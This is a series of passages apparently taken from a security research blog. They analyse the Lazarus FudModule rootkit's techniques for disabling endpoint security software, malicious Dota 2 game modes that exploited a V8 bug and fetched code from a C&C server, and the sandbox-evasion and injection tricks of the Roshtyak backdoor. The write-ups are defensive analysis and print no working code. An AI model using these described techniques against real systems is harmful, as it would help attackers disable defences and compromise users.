the callbacks in the <code>_CALLBACK_OBJECT.RegisteredCallbacks</code> linked list. This list consists of <code>_CALLBACK_REGISTRATION</code> structures, where the actual callback function pointer can be found in <code>_CALLBACK_REGISTRATION.CallbackFunction</code>. FudModule clears the entire list by making the <code>RegisteredCallbacks</code> head <code>LIST_ENTRY</code> point directly to itself. Additionally, it also walks the original linked list and similarly short-circuits each individual <code>_CALLBACK_REGISTRATION</code> entry in the list.&nbsp;This rootkit technique is newly implemented in the current version of FudModule, and we can only speculate on the motivation here. It seems to be designed to help avoid detection when loading either a vulnerable or a malicious driver. However, it might be hard to understand why Lazarus should want to load an additional driver if they already have control over the kernel. It would make little sense for them to load a vulnerable driver, as they already established their kernel read/write primitive by exploiting a zero-day in a preinstalled Windows driver. Further, even if they were exploiting a vulnerable driver in the first place (as was the case in the previous version of FudModule), it would be simply too late to unlink the callback now. By the time this rootkit technique executes, the image verification callback for the vulnerable driver would have already been invoked. Therefore, we believe the most likely explanation is that the threat actors are preparing the grounds for loading some malicious driver later. Perhaps the idea is that they just want to be covered in case they decide to deploy some additional kernel-mode payload in the future.&nbsp;<h4>0x200 – Direct Attacks on Security Software&nbsp;</h4>The rootkit techniques we explored up to this point were all somewhat generic. Each targeted some security-related system component and, through it, indirectly interfered with all security software that relied on the component. In contrast, this final technique goes straight to the point and aims to directly disable specific security software. In particular, the targeted security solutions are AhnLab V3 Endpoint Security, Windows Defender, CrowdStrike Falcon, and HitmanPro.&nbsp;The attack starts with the rootkit obtaining the address of its own <code>_EPROCESS</code> structure. This is done using <code>NtDuplicateHandle</code> to duplicate the current process pseudohandle and then calling <code>NtQuerySystemInformation</code> to get <code>SystemExtendedHandleInformation</code>. With the extended handle information, the rootkit looks for an entry corresponding to the duplicated handle and obtains the <code>_EPROCESS</code> pointer from there. Using <code>NtQuerySystemInformation</code> to leak kernel pointers is a well-known technique that Microsoft <a href="https://windows-internals.com/kaslr-leaks-restriction/">aims to restrict</a> by gradually building up mitigations. However, attackers capable of enabling <code>SeDebugPrivilege</code> at high integrity levels are out of scope of these mitigations, so FudModule can keep using this technique, even on the upcoming 24H2 builds. With the <code>_EPROCESS</code> pointer, FudModule disables mitigations by zeroing out <code>_EPROCESS.MitigationFlags</code>. Then, it also clears the <code>EnableHandleExceptions</code> flag from <code>_EPROCESS.ObjectTable.Flags</code>. We believe this is meant to increase stability in case something goes wrong later during the handle table entry manipulation technique that we will describe shortly.&nbsp;&nbsp;Regarding the specific technique used to attack the security solutions, AhnLab is handled differently than the other three targets. FudModule first checks if AhnLab is even running, by traversing the <code>ActiveProcessLinks</code> linked list and looking for a process named <code>asdsvc.exe</code> (AhnLab Smart Defense Service) with <code>_EPROCESS.Token.AuthenticationId</code> set to <code>SYSTEM_LUID</code>. If such a process is found, FudModule clears its <code>_EPROCESS.Protection</code> byte, effectively toggling off PPL protection for the process. While this <code>asdsvc.exe</code> process is under usual circumstances meant to be protected at the standard <code>PsProtectedSignerAntimalware</code> level, this modification makes it just a regular non-protected process. This opens it up to further attacks from user mode, where now even other privileged, yet non-protected processes could be able to tamper with it. However, we suspect the main idea behind this technique might be to disrupt the link between AhnLab’s user-mode and kernel-mode components. By removing the service’s PPL protection, the kernel-mode component might no longer recognize it as a legitimate AhnLab component. However, this is just a speculation as we didn’t test the real impact of this technique.&nbsp;<h6>Handle Table Entry Manipulation&nbsp;</h6>The technique employed to attack Defender, CrowdStrike, and HitmanPro is much more intriguing: FudModule attempts to suspend them using a new handle table entry manipulation technique. To better understand this technique, let’s begin with a brief <a href="https://imphash.medium.com/windows-process-internals-a-few-concepts-to-know-before-jumping-on-memory-forensics-part-5-a-2368187685e">background on handle tables</a>. When user-mode code interacts with kernel objects such as processes, files, or mutexes, it typically doesn’t work with the objects directly. Instead, it references them indirectly through handles. Internally, the kernel must be able to translate the handle to the corresponding object, and this is where the handle table comes in. This per-process table, available at <code>_EPROCESS.ObjectTable.TableCode</code>, serves as a mapping from handles to the underlying objects. Organized as an array, it is indexed by the integer value of the handle. Each element is of type <code>_HANDLE_TABLE_ENTRY</code> and contains two crucial pieces of information: a (compressed) pointer to the object’s header (<code>nt!_OBJECT_HEADER</code>) and access bits associated with the handle.&nbsp;Due to this handle design, kernel object access checks are typically split into two separate logical steps. The first step happens when a process attempts to acquire a handle (such as opening a file with <code>CreateFile</code>). During this step, the current thread’s token is typically checked against the target object’s security descriptor to ensure that the thread is allowed to obtain a handle with the desired access mask. The second check takes place when a process performs an operation using an already acquired handle (such as writing to a file with <code>WriteFile</code>). This typically only involves verifying that the handle is powerful enough (meaning it has the right access bits) for the requested operation.&nbsp;&nbsp;FudModule executes as a non-protected process, so it theoretically shouldn’t be able to obtain a powerful handle to a PPL-protected process such as the CrowdStrike Falcon Service. However, leveraging the kernel read/write primitive, FudModule has the ability to access the handle table directly. This allows it to craft a custom handle table entry with control over both the referenced object and the access bits. This way, it can conjure an arbitrary handle to any object, completely bypassing the check typically needed for handle acquisition. What’s more, if it sets the handle’s access bits appropriately, it will also satisfy the subsequent handle checks when performing its desired operations.&nbsp;To prepare for the handle table entry manipulation technique, FudModule creates a dummy thread that just puts itself to sleep immediately. The thread itself is not important. What is important is that by calling <code>CreateThread</code>, the rootkit just obtained a thread handle with <code>THREAD_ALL_ACCESS</code> rights. This handle is the one that will have its handle table entry manipulated. Since it already has very powerful access bits, the rootkit will not even have to touch its <code>_HANDLE_TABLE_ENTRY.GrantedAccessBits</code>. All it needs to do is overwrite <code>_HANDLE_TABLE_ENTRY.ObjectPointerBits</code> to redirect the handle to an arbitrary object of its choice. This will make the handle reference that object and enable the rootkit to perform privileged operations on it. Note that <code>ObjectPointerBits</code> is not the whole pointer to the object: it only represents 44 bits of the 64-bit pointer. But since the <code>_OBJECT_HEADER</code> pointed to by <code>ObjectPointerBits</code> is guaranteed to be aligned (meaning the least significant four bits must be zero) and in kernel address space (meaning the most significant sixteen bits must be <code>0xFFFF</code>), the remaining 20 bits can be easily inferred.&nbsp;

The specific processes targeted by this technique are <code>MsSense.exe</code>, <code>MsMpEng.exe</code>, <code>CSFalconService.exe</code>, and <code>hmpalert.exe</code>. FudModule first finds their respective <code>_EPROCESS</code> structures, employing the same algorithm as it did to find the AhnLab service. Then, it performs a sanity check to ensure that the dummy thread handle is not too high by comparing it with <code>_EPROCESS.ObjectTable.NextHandleNeedingPool</code> (which holds information on the maximum possible handle value given the current handle table allocation size). With the sanity check satisfied, FudModule accesses the handle table itself (<code>EPROCESS.ObjectTable.TableCode</code>) and modifies the dummy thread’s <code>_HANDLE_TABLE_ENTRY</code> so that it points to the <code>_OBJECT_HEADER</code> of the target <code>_EPROCESS</code>. Finally, the rootkit uses the redirected handle to call <code>NtSuspendProcess</code>, which will suspend the targeted process.&nbsp;&nbsp;It might seem odd that the manipulated handle used to be a thread handle, but now it’s being used as a process handle. In practice, there is nothing wrong with this since the handle table itself holds no object type information. The object type is stored in <code>_OBJECT_HEADER.TypeIndex</code> so when the rootkit redirected the handle, it also effectively changed the handle object type. As for the access bits, the original <code>THREAD_ALL_ACCESS</code> gets reinterpreted in the new context as <code>PROCESS_ALL_ACCESS</code> since both constants share the same underlying value.&nbsp;

Though suspending the target process might initially appear to be a completed job, FudModule doesn’t stop here. After taking five seconds of sleep, it also attempts to iterate over all the threads in the target process, suspending them one by one. When all threads are suspended, FudModule uses <code>NtResumeProcess</code> to resume the suspended process. At this point, while the process itself is technically resumed, its individual threads remain suspended, meaning the process is still effectively in a suspended state. We can only speculate why Lazarus implemented process suspension this way, but it seems like an attempt to make the technique stealthier. After all, a suspended process is much more conspicuous than just several threads with increased suspend counts.&nbsp;To enumerate threads, FudModule calls <code>NtQuerySystemInformation</code> with the <code>SystemExtendedHandleInformation</code> class. Iterating over the returned handle information, FudModule searches for thread handles from the target process. The owner process is checked by comparing the PID of the target process with <code>SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX.UniqueProcessId</code> and the type is checked by comparing <code>SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX.ObjectTypeIndex</code> with the thread type index, which was previously obtained using <code>NtQueryObject</code> to get <code>ObjectTypesInformation</code>. For each enumerated thread (which might include some threads multiple times, as there might be more than one open handle to the same thread), FudModule manipulates the dummy thread handle so that it points to the enumerated thread and suspends it by calling <code>SuspendThread</code> on the manipulated handle. Finally, after all threads are suspended and the process resumed, FudModule restores the manipulated handle to its original state, once again referencing the dummy sleep thread.&nbsp;<h2>Conclusion&nbsp;</h2>The Lazarus Group remains among the most <a href="https://attack.mitre.org/groups/G0032/">prolific and long-standing</a> advanced persistent threat actors. Though their signature tactics and techniques are well-recognized by now, they still occasionally manage to surprise us with an unexpected level of technical sophistication. The FudModule rootkit serves as the latest example, representing one of the most complex tools Lazarus holds in their arsenal. Recent updates examined in this blog show Lazarus’ commitment to keep actively developing this rootkit, focusing on improvements in both stealth and functionality.&nbsp;With their admin-to-kernel zero-day now burned, Lazarus is confronted with a significant challenge. They can either discover a new zero-day exploit or revert to their old BYOVD techniques. Regardless of their choice, we will continue closely monitoring their activity, eager to see how they will cope with these new circumstances.&nbsp;<h4>Indicators of Compromise (IoCs)&nbsp;</h4>A YARA rule for the latest FudModule variant is available at <a href="https://github.com/avast/ioc/tree/master/FudModule#yara">https://github.com/avast/ioc/tree/master/FudModule#yara</a>.

Zero-Day Exploit Powers Advanced Rootkit

Lazarus and the FudModule Rootkit: Beyond BYOVD with an Admin-to-Kernel Zero-Day

When we think about <a href="https://v8.dev/">V8</a> exploits, the first things that come to mind are probably related to sophisticated browser zero-day exploit chains. While the browser may be the most interesting target for V8 exploits, we shouldn’t forget that this open-source JavaScript engine is also embedded into countless projects other than the browser. And where a JavaScript engine is used across a security boundary to execute potentially untrusted code, security issues may arise.One such issue affected the massively popular <a href="https://www.dota2.com/home">Dota 2</a> video game. Dota used an <a href="https://www.virustotal.com/gui/file/213de7940496257896292647a499858f4f3ab0fab65fabad1b9e6ac075e16bc6">outdated build</a> of <code>v8.dll</code> that was compiled in December 2018. It’s no surprise that this build was vulnerable to a range of CVEs, many of them even being <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">known exploited vulnerabilities</a> with public proof-of-concept (PoC) exploits. We discovered that one of these vulnerabilities, <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1263462">CVE-2021-38003</a>, was exploited in the wild in four custom game modes published within the game. Since V8 was not sandboxed in Dota, the exploit on its own allowed for remote code execution against other Dota players.We disclosed our findings to the developer of Dota 2, <a href="https://www.valvesoftware.com/en/">Valve</a>. In response, Valve pushed an update for Dota on January 12, upgrading the old and vulnerable version of V8. This update took effect immediately, since Dota has to be up to date for players to participate in online games. Valve also took additional action, by taking down the offending custom game modes, notifying the affected players, and introducing new mitigations to reduce the game’s attack surface.

<h2>Background</h2>Dota 2 is a MOBA game that was initially released on July 9, 2013. Despite being almost 10 years old (or perhaps 20 if counting the original Dota 1), it is still attracting a large player base of around 15 million active monthly players. Like other popular games, Dota is a complex piece of software under the hood, assembled from multiple separate components. One component that will be of particular interest to us is the <a href="https://developer.valvesoftware.com/wiki/Dota_2_Workshop_Tools/Panorama">Panorama framework</a>. This is a framework designed by Valve itself to enable user interface development using the well-known web triad of HTML, CSS, and JavaScript. The JavaScript part here was problematic because it got executed by the vulnerable version of V8. Thus, malicious JavaScript could exploit a V8 vulnerability and gain control over the victim’s machine. This wouldn’t be such an issue for the unmodified game, because by default, only legitimate Valve-authored scripts should get executed. However, Dota is very open to customization by the player community, which opens the doors for threat actors to attempt to sneak malicious pieces of JavaScript to their unsuspecting victims.Customization of Dota can take many forms: There are custom wearable in-game items, announcer packs, loading screens, chat emoticons, and more. Crucially, there are also custom community-developed game modes. These are essentially brand-new games that leverage Dota’s powerful game engine to allow anyone with a bit of programming experience to implement their ideas for a game. Custom game modes play an important role in Dota, and Valve is well aware of the benefits of letting players express their creativity by developing custom game modes. After all, Dota itself started out as a game mode for Warcraft III: The Frozen Throne. This might be why game modes can be installed with a single click from within the game. As a result, there are thousands of game modes available, some of which are extremely popular. For instance, <a href="https://steamcommunity.com/sharedfiles/filedetails/?id=1613886175">DOTA AUTO CHESS</a> was played by over 10 million players.Before a game mode can be played by regular players, it must be published on the <a href="https://store.steampowered.com/">Steam store</a>. The publishing process includes a verification performed by Valve. While this could potentially weed out some malicious game modes, no verification process is perfect. As we’ll show later, at least four malicious game modes managed to slip through. We believe the verification process exists mostly for moderation reasons to prevent inappropriate content from getting published. There are many ways to hide a backdoor within a game mode, and it would be very time-consuming to attempt to detect them all during verification.The main game logic of custom game modes is coded in Lua. This is executed on the game server, which can either be the host player’s machine or a dedicated server owned by Valve. For client-side scripting, there is JavaScript from the Panorama framework. This is mainly used to control user interface elements, such as scoreboards or quest status bars. JavaScript is executed by the V8 engine, and there’s full support for many advanced features, including WebAssembly execution. In addition, there’s also a <a href="https://developer.valvesoftware.com/wiki/Dota_2_Workshop_Tools/Panorama/Javascript/API">Dota-specific API</a> that exposes additional functionality. Particularly interesting was the <code>$.AsyncWebRequest</code> function, which, in combination with <code>eval</code>, could have been used to backdoor a game mode so that it could execute arbitrary additional JavaScript code downloaded from the internet. Perhaps it was this concern that caused the <code>$.AsyncWebRequest</code> function to be deprecated and eventually removed altogether. However, there are ways around this. For instance, the web request can be made by the server-side Lua code, with the response passed to the client-side JavaScript using game event messaging APIs.<h2>Just Testing</h2>We discovered four malicious custom game modes published on the Steam store, all developed by the same author. The first game mode (id 1556548695) is particularly interesting, as it appears that it is where the attacker only tested the exploit, judging from the lack of an actual payload attached to it. Interestingly enough, the attacker also used this game mode to test various other techniques, leaving in commented-out code or unused functions. This offered us a great opportunity to understand the attacker’s thought process.

As can be seen in the above screenshot, the attacker was very transparent about the nature of this game mode, naming it <code>test addon plz ignore</code> and even going as far as using the description to urge other players not to download this game mode. While this might seem like an expression of good faith, we’ll show shortly that in the other three malicious game modes, the same attacker took the exact opposite approach and tried to make the malicious code as stealthy as possible.&nbsp;The JavaScript exploit in this custom game mode can be found inside <code>overthrow_scoreboard.vjs_c</code>. This used to be a legitimate JavaScript file implementing scoreboard functionality, but the attacker replaced its content with an exploit for <a href="https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html">CVE-2021-38003</a>. This vulnerability was originally <a href="https://blog.google/threat-analysis-group/protecting-android-users-from-0-day-attacks/">discovered</a> as a zero-day by Google researchers Clément Lecigne and Samuel Groß, when it was used in the wild in an exploit chain against a fully-patched Samsung phone.&nbsp;There are now public <a href="https://github.com/star-sg/CVE/blob/master/CVE-2021-38003/pwn.js">PoCs</a> and <a href="https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/">write-ups</a> for this CVE. However, these weren’t available in March 2022, when the attacker last updated the game mode. This means they had to develop a large portion of the exploit themselves (even if there was a public PoC at that time, the attacker would still need to possess some technical skills to backport it to the outdated V8 build that Dota was using). Even so, the core of the exploit was provided in the <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1263462">Chromium bug tracker entry</a> for the CVE. There is a snippet of code that can trigger the vulnerability to leak the purportedly inaccessible <a href="https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078">TheHole object</a> and then use this leaked object to corrupt the size of a map. The attacker took this snippet and pasted it into their exploit, building up the rest of the exploit on top of this corrupted map.

Interestingly, the exploit contains a large amount of commented-out code and debug prints. This further suggests that the attacker had to put a lot of effort into weaponizing the vulnerability. The attacker-developed part of the exploit starts by using the corrupted map to corrupt the length of an array, achieving a relative read/write primitive. Then, it corrupts an <code>ArrayBuffer</code> backing store pointer in order to gain an arbitrary read/write primitive. There is no <code>addrof</code> function, as addresses are leaked by placing the target object at a known offset from the corrupted array and then using the relative read primitive. Finally, with the arbitrary read/write in place, the exploit uses a <a href="https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/#:~:text=Use%20WebAssembly%20to%20create%20an%20RWX%20page">well-known WebAssembly trick</a> to execute custom shellcode. We have tested the whole exploit locally against Dota and can confirm that it worked.&nbsp;

Apart from this JavaScript exploit, the custom game mode also contains another interesting file, which is ominously named <code>evil.lua</code>. This is where the attacker tested the capabilities of the server-side Lua execution. See the Lua snippet below where the attacker tested the following in particular:<ul><li>Logging</li><li>Dynamic compilation of additional Lua code (<code>loadstring</code>)</li><li>Determining the exact version of the Lua interpreter</li><li>Executing arbitrary system commands (<code>whoami</code>)</li><li>Coroutine creation</li><li>Network connectivity (HTTP GET requests)</li></ul>

Unfortunately, we do not have access to the full update history of this particular game mode. Therefore, it’s possible that some interesting code from previous versions is no longer present in the version that we analyzed. We can at least see from the changelog that there were nine updates to this game mode, all of them happening either in November 2018 or March 2022. Since the exploited JavaScript vulnerability was only discovered in 2021, we assume that the game mode initially started out as a legitimate game and that the malicious functionality was only added in the March 2022 updates.<h2>The Backdoor</h2>After discovering this first malicious game mode, we were of course wondering whether there are more such exploits out there. Since the attacker did not bother reporting the vulnerability to Valve, we found it likely that they would have malicious intentions and attempt to exploit it at a larger scale. As a result, we developed a script that downloaded all the JavaScript files from all the custom game modes published on the Steam store. This yielded us gigabytes of JavaScript that we could query for suspicious code patterns.&nbsp;It didn’t take long to discover three more malicious game modes, all by the same author (who also happened to be the author of the previously analyzed <code>test addon plz ignore</code> game mode). These game modes were named <code>Overdog no annoying heroes</code> (id 2776998052), <code>Custom Hero Brawl</code> (id 2780728794), and <code>Overthrow RTZ Edition X10 XP</code> (id 2780559339). Interestingly, the same author also published a fifth game mode named <code>Brawl in Petah Tiqwa</code> (id 1590547173), which did not include any malicious code (to our great surprise).

The malicious code in these new three game modes is much more subtle. There is no file named <code>evil.lua</code> nor any JavaScript exploit directly visible in the source code. Instead, there’s just a simple backdoor consisting of only about twenty lines of code. This backdoor can execute arbitrary JavaScript downloaded via HTTP, giving the attacker not only the ability to hide the exploit code, but also the ability to update it at their discretion without having to update the entire custom game mode (and going through the risky game mode verification process).The backdoor starts with the JavaScript code sending a custom <code>ClientReady</code> event to the server. This is to signal to the server that there is a new victim game client, waiting to receive the JavaScript payload. The Lua code on the server registered a listener for the <code>ClientReady</code> event. When it receives this event, it makes an HTTP GET request to its C&amp;C server to fetch the JavaScript payload. This payload is expected in the response body, and it’s forwarded to the client-side JavaScript in a custom event named <code>test</code>.

When the client-side JavaScript receives this <code>test</code> event, it unwraps the payload, dynamically creates a new function out of it, and immediately executes it. On a high level, this is clearly just a simple downloader capable of executing arbitrary JavaScript downloaded from the C&amp;C server. The cooperation of client-side JavaScript and server-side Lua code was only necessary because JavaScript was no longer allowed to directly access the internet.

At the time that we discovered this backdoor, the C&amp;C server was no longer responding. Even so, we can confidently assume that this backdoor was intended to download the JavaScript exploit for CVE-2021-38003. This is because all three backdoored game modes were updated by the same author within 10 days after said author introduced the JavaScript exploit into their first malicious game mode. However, we remain unsure about whether there was any malicious shellcode attached to the exploit. After all, the use of <a href="https://ngrok.com/">ngrok</a> for C&amp;C is slightly unconventional and could suggest that the attacker only tested the backdoor functionality. One way or another, we can say that this attack was not very large in scale. According to Valve, under 200 players were affected.<h2>Parting Thoughts</h2>After discovering the four malicious game modes, we tried to hunt for more — unfortunately, our trail went cold. Therefore, it’s not clear what the attacker’s ultimate intentions were. However, we believe that they were not exactly pure research intentions, for two main reasons. First, the attacker did not report the vulnerability to Valve (which would generally be considered a nice thing to do). Second, the attacker tried to hide the exploit in a stealthy backdoor. Regardless, it’s also possible that the attacker didn’t have purely malicious intentions either, since such an attacker could arguably abuse this vulnerability with a much larger impact.For example, a malicious attacker could attempt to take over a popular custom game mode. Many game modes are neglected by their original developers, so the attacker could try something as simple as promising to fix bugs and continue development for free. After some number of legitimate updates, the attacker could try to sneak in the JavaScript backdoor. Since game modes are updated automatically in the background, the unsuspecting victim players would not have a lot of opportunities to defend themselves.Alternatively, the attacker could search for other ways to exploit the vulnerability without involving any custom game modes. For instance, the attacker could try to look for a separate XSS vulnerability to chain with the V8 exploit. Such an XSS vulnerability could allow the attacker to execute arbitrary JavaScript within the remote victim’s Panorama instance. The V8 exploit could then be used to break out of the Panorama framework. Note that Panorama is also heavily used in the game’s main menu, so depending on the nature of the XSS vulnerability, this could have a blast radius as big as the 15 million monthly players.Before we sign off, we would like to thank Valve for quickly addressing our reports. We hope that they will continue updating V8 in the future and reduce the patch gap as much as possible. Valve also shared with us some plans about additional mitigations, and we will be most excited to see those implemented in practice. Due to the potential impact, we would also recommend very careful vetting of future updates for popular custom games.We can also appreciate that Valve made the decision to publish custom game modes on Steam even though it might put more responsibility on their shoulders. Ultimately, this is a net positive for the overall players’ security, due to the fact that Valve can moderate the published game modes and take down malicious ones. Many other games don’t have such integrated support for custom games, so players resort to downloading mods from random third-party sites, which are often known to bundle malware.<h3>Indicators of Compromise (IoCs)</h3>

Exploiting V8 in Popular Games

Dota 2 under attack: How a V8 bug was exploited in the game

There are various tricks malware authors use to make malware analysts’ jobs more difficult. These tricks include obfuscation techniques to complicate reverse engineering, anti-sandbox techniques to evade sandboxes, packing to bypass static detection, and more. Countless deceptive tricks used by various malware strains in-the-wild have <a href="https://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf">been</a> <a href="https://evasions.checkpoint.com/">documented</a> over the years. However, few of these tricks are implemented in a typical piece of malware, despite the many available tricks.&nbsp;The subject of this blog post, a backdoor we dubbed Roshtyak, is not your typical piece of malware. Roshtyak is full of tricks. Some are well-known, and some we have never seen before. From a technical perspective, the lengths Roshtyak takes to protect itself are extremely interesting. Roshtyak belongs to one of the best-protected malware strains we have ever seen. We hope by publishing our research and analysis of the malware and its protection tricks we will help fellow researchers recognize and respond to similar tricks, and harden their analysis environments, making them more resistant to the evasion techniques described.Roshtyak is the DLL backdoor used by Raspberry Robin, a worm spreading through infected removable drives. Raspberry Robin is extremely prevalent. We protected over 550K of our users from the worm this year. Due to its high prevalence, it should be no surprise that we aren’t the only ones taking note of Raspberry Robin.&nbsp;Red Canary’s researchers published <a href="https://redcanary.com/blog/raspberry-robin/">the first analysis</a> of Raspberry Robin in May 2022. In June, Symantec published a <a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/clipminer-bitcoin-mining-hijacking">report</a> describing a mining/clipboard hijacking operation, which reportedly made the cybercriminals at least $1.7 million. Symantec did not link the malicious operation to Raspberry Robin. Nevertheless, we assess with high confidence that what they analyzed was Raspberry Robin. This assessment is based on C&amp;C overlaps, strong malware similarity, and coinfections observed in our telemetry. <a href="https://www.cybereason.com/blog/threat-alert-raspberry-robin-worm-abuses-windows-installer-and-qnap-devices">Cybereason</a>, <a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/#DEV-0206-DEV-0243">Microsoft</a>, and <a href="https://blogs.cisco.com/security/raspberry-robin-highly-evasive-worm-spreads-over-external-disks">Cisco</a> published further reports in July/August 2022. Microsoft reported that Raspberry Robin infections led to DEV-0243 (a.k.a Evil Corp) pre-ransomware behavior. We could not confirm this connection using our telemetry. Still, we find it reasonable to believe that the miner payload is not the only way Raspberry Robin infections are being monetized. Other <a href="https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/">recent</a> <a href="https://twitter.com/DTCERT/status/1565664874633564162">reports</a> also hint at a possible connection between Raspberry Robin and Evil Corp.

There are many unknowns about Raspberry Robin, despite so many published reports. What are the ultimate objectives behind the malware? Who is responsible for Raspberry Robin? How did it become so prevalent? Unfortunately, we do not have answers to all these questions. However, we can answer an important question we saw asked multiple times: What functionality is hidden inside the heavily obfuscated DLL (or Roshtyak as we call it)? To answer this question, we fully reverse engineered <a href="https://www.virustotal.com/gui/file/1073d38346b39fb3d92f4cd814ea13d32ecf5b16c07c87560802343bd1605dfd">a Roshtyak sample</a>, and present our analysis results in this blog post.<h2>Overview</h2>Roshtyak is packed in as many as 14 protective layers, each heavily obfuscated and serving a specific purpose. Some artifacts suggest the layers were originally PE files but were transformed into custom encrypted structures that only the previous layers know how to decrypt and load. Numerous anti-debugger, anti-sandbox, anti-VM, and anti-emulator checks are sprinkled throughout the layers. If one of these checks successfully detects an analysis environment, one of four actions are taken.&nbsp;<ol><li>The malware calls <code>TerminateProcess</code> on itself to avoid exhibiting any further malicious behavior and to keep the subsequent layers encrypted.</li><li>Roshtyak crashes on purpose. This has the same effect as terminating itself, but it might not be immediately clear if the crash was intentional or because of a bug thanks to Roshtyak’s obfuscated nature.</li><li>The malware enters an infinite loop on purpose. Since the loop itself is located in obfuscated code and spans thousands of instructions, it might be hard to determine if the loop is doing something useful or not.</li><li>The most interesting case is when the malware reacts to a successful check by unpacking and loading a fake payload. This happens in the eighth layer, which is loaded with dozens of anti-analysis checks. The result of each of these checks is used to modify the value of a global variable. There are two payloads encrypted in the data section of the eighth layer: the real ninth layer and a fake payload. The real ninth layer will get decrypted only if the global variable matches the expected value after all the checks have been performed. If at least one check succeeded in detecting an analysis environment, the global variable’s value will differ from the expected value, causing Roshtyak to unpack and execute the fake payload instead.&nbsp;</li></ol>

The fake payload is a BroAssist (a.k.a BrowserAssistant) adware <a href="https://www.virustotal.com/gui/file/b74d7ff45768a1ee6f267e895de3e46cca505edf205563ef3f7db827f38363b3">sample</a>. We believe this fake payload was intended to mislead malware analysts into thinking the sample is less interesting than it really is. When a reverse engineer focuses on quickly unpacking a sample, it might look like the whole sample is “just” an obfuscated piece of adware (and a very old one at that), which could cause the analyst to lose interest in digging deeper. And indeed, it turns out that these fake payload shenanigans can be very effective. As can be seen on the screenshot below, it fooled at least one researcher, who misattributed the Raspberry Robin worm, because of the fake BrowserAssistant payload.

<h2>The Bag of Tricks</h2>For the sake of keeping this blog post (sort of) short and to the point, let’s get straight into detailing some of the more interesting evasion techniques employed by Roshtyak.<h4>Segment registers</h4>Early in the execution, Roshtyak prefers to use checks that do not require calling any imported functions. If one of these checks is successful, the sample can quietly exit without generating any suspicious API calls. Below is an example where Roshtyak checks the behavior of the <code>gs</code> segment register. The check is designed to be stealthy and the surrounding garbage instructions make it easy to overlook.

The first idea behind this check is to detect single-stepping. Before the above snippet, the value of <code>cx</code> was initialized to <code>2</code>. After the <code>pop ecx</code> instruction, Roshtyak checks if <code>cx</code> is still equal to <code>2</code>. This would be the expected behavior because this value should propagate through the stack and the <code>gs</code> register under normal circumstances. However, a single step event would reset the value of the <code>gs</code> selector, which would result in a different value getting popped into <code>ecx</code> at the end.But there is more to this check. As a side effect of the two push/pop pairs above, the value of <code>gs</code> is temporarily changed to <code>2</code>. After this check, Roshtyak enters a loop, counting the number of iterations until the value of <code>gs</code> is no longer <code>2</code>. The <code>gs</code> selector is also reset after a thread context switch, so the loop essentially counts the number of iterations until a context switch happens. Roshtyak repeats this procedure multiple times, averages out the result, and checks that it belongs to a sensible range for a bare metal execution environment. If the sample runs under a hypervisor or in an emulator, the average number of iterations might fall outside of this range, which allows Roshtyak to detect undesirable execution environments.Roshtyak also checks that the value of the <code>cs</code> segment register is either <code>0x1b</code> or <code>0x23</code>. Here, <code>0x1b</code> is the expected value when running on native x86 Windows, while <code>0x23</code> is the expected value under WoW64.<h4 id="ntdll_gadgets">APC injection through a random ntdll gadget</h4>Roshtyak performs some of its functionality from separate processes. For example, when it communicates with its C&amp;C server, it spawns a new innocent-looking process like <code>regsvr32.exe</code>. Using shared sections, it injects its comms module into the address space of the new process. The injected module is executed via APC injection, using <code>NtQueueApcThreadEx</code>.Interestingly, the <code>ApcRoutine</code> argument (which marks the target routine to be scheduled for execution) does not point to the entry point of the injected module. Instead, it points to a seemingly random address inside <code>ntdll</code>. Taking a closer look, we see this address was not chosen randomly but that Roshtyak scanned the code section of <code>ntdll</code> for <code>pop r32; ret</code> gadgets (excluding <code>pop esp</code>, because pivoting the stack would be undesirable) and picked one at random to use as the <code>ApcRoutine</code>.&nbsp;

Looking at the calling convention for the <code>ApcRoutine</code> reveals what’s going on. The <code>pop</code> instruction makes the stack pointer point to the <code>SystemArgument1</code> parameter of <code>NtQueueApcThreadEx</code> and so the <code>ret</code> instruction effectively jumps to wherever <code>SystemArgument1</code> is pointing. This means that by abusing this gadget, Roshtyak can treat <code>SystemArgument1</code> as the entry point for the purpose of APC injection. This obfuscates the control flow and makes the <code>NtQueueApcThreadEx</code> call look more legitimate. If someone hooks this function and inspects the <code>ApcRoutine</code> argument, the fact that it is pointing into the <code>ntdll</code> code section might be enough to convince them that the call is not malicious.<h4>Checking read/write performance on write-combined memory</h4>In this next check, Roshtyak allocates a large memory buffer with the <a href="https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants#:~:text=the%20CreateFileMapping%20function.-,PAGE_WRITECOMBINE,-0x400">PAGE_WRITECOMBINE</a> flag. This flag is supposed to modify cache behavior to optimize sequential write performance (at the expense of read performance and possibly memory ordering). Roshtyak uses this to detect if it’s running on a physical machine. It conducts an experiment where it first writes to the allocated buffer and then reads from the allocated buffer, all while measuring the read/write performance using a separate thread as a counter. This experiment is repeated 32 times and the check is passed only if write performance was at least six times higher than read performance most of the times. If the check fails, Roshtyak intentionally selects a wrong RC4 key, which results in failing to properly decrypt the next layer.<h4 id="shellcode_hiding">Hiding shellcode from plain sight</h4>The injected shellcode is interestingly hidden, too. When Roshtyak prepares for code injection, it first creates a large section and maps it into the current process as <code>PAGE_READWRITE</code>. Then, it fills the section with random data and places the shellcode at a random offset within the random data. Since the shellcode is just a relatively small loader followed by random-looking packed data, the whole section looks like random data.&nbsp;

The section is then unmapped from the current process and mapped into the target process, where it is executed using the above-described APC injection technique. The random data was added in an attempt to conceal the existence of the shellcode. Judging only from the memory dump of the target process, it might look like the section is full of random data and does not contain any valid executable code. Even if one suspects actual valid code somewhere in the middle of the section, it will not be easy to find its exact location.&nbsp;

